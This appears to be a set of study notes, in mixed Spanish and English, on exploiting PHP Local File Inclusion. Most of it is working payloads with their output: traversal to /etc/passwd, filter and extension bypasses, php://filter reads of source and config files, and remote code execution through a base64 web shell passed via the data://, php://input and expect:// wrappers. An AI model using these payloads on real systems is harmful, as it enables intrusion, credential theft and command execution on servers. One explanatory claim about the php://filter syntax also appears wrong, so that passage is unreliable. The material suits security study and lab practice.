Skip to content

Local File Inclusion

c
http://<SERVER_IP>:<PORT>/index.php?language=/etc/passwd

Path Traversal

c
include($_GET['language']);
c
include("./languages/" . $_GET['language']);

Filename Prefix

c
include("lang_" . $_GET['language']);

Appended Extensions

c
include($_GET['language'] . ".php");

Basic Bypasses

c
$language = str_replace('../', '', $_GET['language']);

Non-Recursive Path Traversal Filters

Uno de los filtros más básicos contra LFI es un filtro de búsqueda y reemplazo, en el que simplemente se eliminan las subcadenas de (../) para evitar los recorridos.

c
$language = str_replace('../', '', $_GET['language']);
c
http://<SERVER_IP>:<PORT>/index.php?language=....//....//....//....//etc/passwd

Encoding

Si la aplicación web de destino no permite y / en nuestra entrada, podemos codificar la URL ../ en %2e%2e%2f, lo que puede eludir el filtro. Para ello, podemos utilizar cualquier utilidad de codificación de URL en línea o utilizar la herramienta Burp Suite Decoder, como se indica a continuación:

c
<SERVER_IP>:<PORT>/index.php?language=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64

Approved Paths

c
if(preg_match('/^\.\/languages\/.+$/', $_GET['language'])) {
    include($_GET['language']);
} else {
    echo 'Illegal path specified!';
}
c
<SERVER_IP>:<PORT>/index.php?language=./languages/../../../../etc/passwd

Appended Extension

Path Truncation

c
?language=non_existing_directory/../../../etc/passwd/./././.[./ REPEATED ~2048 times]

Null Bytes

Para explotar esta vulnerabilidad, podemos terminar nuestro payload con un byte nulo (por ejemplo, /etc/passwd%00), de forma que la ruta final pasada a include() sería (/etc/passwd%00.php). De esta forma, aunque .php se añade a nuestra cadena, cualquier cosa después del byte nulo se truncaría, y así la ruta utilizada sería realmente /etc/passwd, lo que nos llevaría a evitar la extensión añadida.

PHP Filters

Input Filters

c
 php://

php://filter/

Hay cuatro tipos diferentes de filtros disponibles para su uso: filtros de cadenas , filtros de conversión , filtros de compresión y filtros de cifrado . Puede leer más sobre cada filtro en su enlace respectivo, pero el filtro que es útil para los ataques LFI es el convert.base64-encodefiltro que se encuentra en Conversion Filters.

Fuzzing for PHP Files

c
ffuf -w /opt/useful/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://<SERVER_IP>:<PORT>/FUZZ.php

...SNIP...

index                   [Status: 200, Size: 2652, Words: 690, Lines: 64]
config                  [Status: 302, Size: 0, Words: 1, Lines: 1]

PHP Wrappers

Checking PHP Configurations

c
curl "http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini"
<!DOCTYPE html>

<html lang="en">
...SNIP...
 <h2>Containers</h2>
    W1BIUF0KCjs7Ozs7Ozs7O
    ...SNIP...
    4KO2ZmaS5wcmVsb2FkPQo=
<p class="read-more">
c
echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep allow_url_include

allow_url_include = On

Remote Code Execution

c
echo '<?php system($_GET["cmd"]); ?>' | base64

PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+Cg==

Ahora, podemos codificar la cadena base64 en la URL y luego pasarla al contenedor de datos con data://text/plain;base64,. Por último, podemos usar comandos de paso al shell web con &cmd=<COMMAND>:

c
http://<SERVER_IP>:<PORT>/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id
c
curl -s 'http://<SERVER_IP>:<PORT>/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id' | grep uid
            uid=33(www-data) gid=33(www-data) groups=33(www-data)

Input

c
curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id" | grep uid
            uid=33(www-data) gid=33(www-data) groups=33(www-data)

Expect

c
$ echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep expect
extension=expect
c
curl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Base64

c
php://filter/read=convert.base64-encode/resource=config
c
php://filter/convert.base64-encode/resource=config

1. php://filter/read=convert.base64-encode/resource=config

  • Significado:
    • Aplica el filtro convert.base64-encode al leer (read) el recurso especificado (resource=config).
  • Uso:
    • Lee el archivo llamado config y lo devuelve codificado en Base64.
  • Explicación técnica:
    • El filtro read=convert.base64-encode transforma los datos leídos desde el archivo config en su equivalente codificado en Base64.

2. php://filter/convert.base64-encode/resource=config

  • Significado:
    • Se refiere directamente al filtro convert.base64-encode aplicado al recurso config.
  • Uso:
    • Intenta aplicar el filtro de codificación en Base64 sin especificar explícitamente una operación (read, write, etc.).
  • Limitación:
    • Esta forma no siempre es válida, ya que el filtro debe aplicarse a una acción específica como read o write. En muchos casos, este formato puede no funcionar correctamente.
c
http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=config
c
[!bash!]$ echo 'PD9waHAK...SNIP...KICB9Ciov' | base64 -d

...SNIP...

if ($_SERVER['REQUEST_METHOD'] == 'GET' && realpath(__FILE__) == realpath($_SERVER['SCRIPT_FILENAME'])) {
  header('HTTP/1.0 403 Forbidden', TRUE, 403);
  die(header('location: /index.php'));
}

...SNIP...

Rot13

c
php://filter/read=string.rot13/resource=<archivo>

zip://

c
zip://<archivo zip>%23<archivo php>

data://

c
data:text/plain,<código PHP>